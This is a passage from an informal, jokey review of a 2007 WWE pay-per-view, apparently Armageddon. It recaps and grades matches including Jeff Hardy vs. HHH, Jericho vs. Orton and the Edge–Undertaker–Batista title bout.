V pounds away while in whale humping position. He splashes Kane and it’s off to Henry for some bearhuggery. Better than buggery I suppose. V comes in for Kane to fire away but another fat boy clothesline takes him down. Kane channels his inner deadman and hits a running DDT to put both guys down (Henry in this case). Double tag brings in V and Punk and everything breaks down. Punk and V are alone in the ring so Punk tries the springboard clothesline. He lands in a Samoan Drop though and we’re done.

Mr. Kennedy vs. Shawn Michaels

Kennedy says he’ll win pre match. Just a respect match here as far as I can tell. Kennedy takes over to start with a lot of basic offense focused on the back. Shawn tries to clear his head so Kennedy hammers on him a lot. Shawn is like wait a minute. I’m Shawn Michaels so let me chop you and sell like I’ve been shot and have a bad stomach ache. Due to the back work, Shawn can’t hit a suplex.

Kennedy tries a Mic Check but can’t it gets countered, injuring Kenderson’s elbow. Shawn, ever the psychologist out there, works on it. See how easy it is to do stuff that makes sense? Now why can so few people get that concept? Kennedy keeps trying to break the hold and finally sends both of them to the floor. That doesn’t go well either as his hand is slammed into the post.

Back inside and Shawn works on the hand and the arm. Shawn grabs a wristlock but Kennedy punches him through the ropes. That’s a new one. Back outside again and Shawn goes into the post. Well not really as he kind of slams against it. I don’t think there’s enough room for Shawn’s body inside the post. A running boot to a seated Shawn in the corner sets up a backbreaker for two.

In a nice bit of thinking from Kennedy, he jumps at Shawn from the middle rope but sees Shawn get his foot up so Kennedy stops his momentum and lands on his feet, avoiding the boot. He then sets for an elbow drop but Shawn rolls out of the way. Kennedy didn’t drop it right then but rather once Shawn rolled over, hitting Shawn in the bad back. Who says heels can’t be smart?

Shawn starts his comeback and chops away so he can hit the forearm and nipup. At least he’s putting a hand on his back for some selling. If he has a weakness, it’s his lack of selling injuries later in the match. There’s the top rope elbow and Shawn starts tuning up the band. I’ve never gotten how no one can hear the fans chanting along or hear Shawn stomping on the mat.

Either way he catches the kick and rolls up Shawn for two. Shawn gets a rollup of his own for the same. Kennedy hits a slingshot to send Shawn into the post and talks some trash. He punches Shawn with the left hand for no apparent reason and hurts it again, letting Sweet Chin Music (bad camera angle shows that it doesn’t hit at all, which is really good control from Shawn) end Kennedy.

Jeff Hardy vs. HHH

Winner gets the title shot at the Rumble. This show is stacked so far. Jeff is Intercontinental Champion here. Big HHH chant starts up before his entrance. They shake hands pre match but HHH pulls him in and shoves him away. HHH shows off his power advantage and takes Jeff’s head off with a clothesline. Out to the floor and HHH gets sent into the barricade.

This feels like a big match which says a lot considering it’s Jeff Hardy in 2007. Jeff tries to run the railing but slips off and gets clotheslined. Back inside and Jeff pulls back for a punch but stops, prompting HHH to shout FIGHT ME. Jeff gets slapped which ticks him off and slaps HHH back. Now it’s time to get going and here comes the Game. He tosses Jeff to the floor and it’s time for a beating.

Jeff gets sent into the steps and into the barrier. I guess the barrier got lonesome. Trips works on the back and blocks Whisper in the Wind by shoving Jeff off the top and into the railing again. We need a step shot to make things all balanced again! Jeff looks dead. On the floor I mean, not in general. You kind of have to make that clarification at times. Back in an elbow drop gets two.

Since this is a HHH match we get an old school move in the form of an abdominal stretch. He pulls on the rope and gets caught. I guess he’s bad HHH here. Jeff reverses a suplex and this an enziguri, only to run into a facebuster and clothesline for two. A sleeper is escaped and Jeff gets a middle rope missile dropkick to put both guys down.

Jeff speeds things up a bit, likely due to an injest of speed. The slingshot dropkick in the corner to a seated HHH misses but Jeff knocks the Game to the floor. There’s a big dive to the floor and the fans are starting to get into this. I can understand as it’s starting to get better. Back in a top rope cross body gets two for Jeff. There’s the Whisper in the Wind which gets two.

Twist of Fate is reversed into a DDT for two. Crucifix is countered into a Samoan Drop into the crucifix for two. The slingshot dropkick hits this time but the Swanton misses, getting two for HHH. Twist of Fate is countered again into the spinebuster. HHH loads up the Pedigree but Jeff rolls through it into a jackknife cover for the pin and the shot at Orton at the Rumble. HHH is shocked but not really mad.

Rating: B. Good match here as these two always seemed to be able to make things work. When Jeff was on his game (no pun intended) he was pretty solid. Wins like these made him into a legitimate title contender which would be the story for the next year. Well part of it as the other part was HHH never letting him get another pin on him, not even letting him get the title and needing Edge as a middle man.

Khali says Finlay will learn about consequences tonight.

Great Khali vs. Finlay

This is about Vince’s son Hornswoggle of course. Finlay gets beaten down in the corner rather quickly and there’s a hard chop. He gets sent to the floor as the idiot fans chant USA. Back inside there’s a nerve hold for a LONG time. Vice Grip goes on but it’s in the ropes. Horny gets on the apron for no apparent reason and is tossed to the floor. Finlay gets the club that I’m not going to try to spell and a shot to the head ends this. How was this six minutes long?

Rating: F. What in the world was the point of this? Nothing happened in this and they spent two or three minutes in the nerve hold. The Hornswoggle aspect never meant anything and the whole match was just a waste of time. Granted I think that was the point because there had been a bunch of big matches in a row so we needed a breather.

We recap Orton vs. Jericho. Jericho came back after being gone for like a year and a half and said he wanted a title match. Orton had been dominating the show for a few months so Jericho returned to give him a fresh opponent. This was the whole SAVE US deal.

Raw World Title: Chris Jericho vs. Randy Orton

Orton still has the far better Burn in My Light song. He looks so much younger with hair and non-orange skin. Feeling out process to start with Jericho hitting some armdrags and off to an armbar. Well it wouldn’t be a Jericho match without one of them. Now Jericho shifts over to the ribs but it wasn’t enough arm work to make it seem stupid. Spinwheel kick puts Randy down and he heads to the apron.

Jericho sends him to the floor and there’s a nice dive off the top. Back in the elevated DDT is countered into a Walls attempt but Orton counters and grabs a DDT to get two. Orton works on the back a bit and there’s the chinlock required in Randy matches. Now we make sure to upgrade things with a chinlock AND a body scissors! How will he ever top that???

The Canadian fights up and breaks the hold and both guys go down off their heads colliding. Clothesline gets two for Jericho. Middle rope missile dropkick gets the same. Orton gets his powerslam for two. This is kind of a boring match. They’re doing more of a collection of moves than a match if that makes sense. Jericho goes shoulder first into the post but manages to reverse an RKO attempt into a backslide for two.

Orton takes him down again and Jericho goes into the corner shoulder first again. Superplex works on Jericho’s back again and gets two here. Another Walls attempt is blocked but Jericho hits a running enziguri which sends Randy to his knees. Lionsault hits knees but another RKO attempt fails. Lionsault gets two.

Out to the floor and Jericho is sent over the announce table. Back inside Jericho hits something like a top rope forearm to the back of the head. Codebreaker is countered and Orton loads up the Punt. Jericho counters it into the Walls and pulls him back into the middle of the ring. And then JBL comes in to kick Jericho in the head for the DQ, which would be Jericho’s next feud. It would be about Jericho hitting him when Orton threw him into the table.

Beth is champion here. Mickie tries to attack the knees but that doesn’t get her anywhere. Neither does a rana attempt. Beth puts on a dragon sleeper and then the double chickenwing which Beth escapes. Now the rana works and there’s a Thesz Press. Neckbreaker puts Beth down but she didn’t cover. And never mind as Beth hits a release fisherman’s suplex for the pin to retain.

Smackdown World Title: Edge vs. Undertaker vs. Batista

Big Dave is champion. Taker goes straight for Edge so the Canadian runs. Batista and Taker get in a fight over who gets to beat up Edge. Taker wins that one and goes after Edge but a chokeslam is avoided. Edge chills on the floor which is rather smart. He tries to steal a pin on Batista which fails but he stomps away a bit. Taker is out of the floor thanks to the Animal. Edge knocks him down again but walks into a Bossman Slam for two.

Edge sets for the spear but Batista gets a big boot up for two as Taker saves. Taker sets for the legdrop on the apron but Batista takes his head off with a clothesline instead. He loads up the Bomb on Edge but there’s a low blow and Edgecution for two. Taker is back inside now and beating on Edge. Here’s Old School and a Last Ride attempt but Batista spears him down, resulting in a huge crash.

Batista tries to cover Taker but gets caught in a triangle choke and…there’s the bell? Edge rang it apparently to break the hold. That’s rather genius. Edge spears Taker for two. The crowd is into this now as Edge spears Batista for two. He grabs a pair of chairs but Batista breaks up a Conchairto. The Canadian goes to the floor and Dave goes up, only to get crotched.

Superplex hits Batista for two. Batista takes down Taker out of nowhere and spears Edge for fun. Batista Bomb to Taker is blocked and there are two Edges on the floor. Chokeslam to Batista and Taker calls for the tombstone. Someone resembling Edge jumps into a chokeslam. Batista Bomb is countered again as the chokeslamed Edge is down.

Batista, like an idiot, tries a tombstone. He of course takes it and the real Edge cracks Taker with a chair and steals the title. The other Edges, complete with accurate fake tattoos, would be more commonly known as the Major Brothers, who changed their names to the Edgeheads. Today they’re more commonly known as Zack Ryder and Curt Hawkins. Remember that strength of three men line?

Overall Rating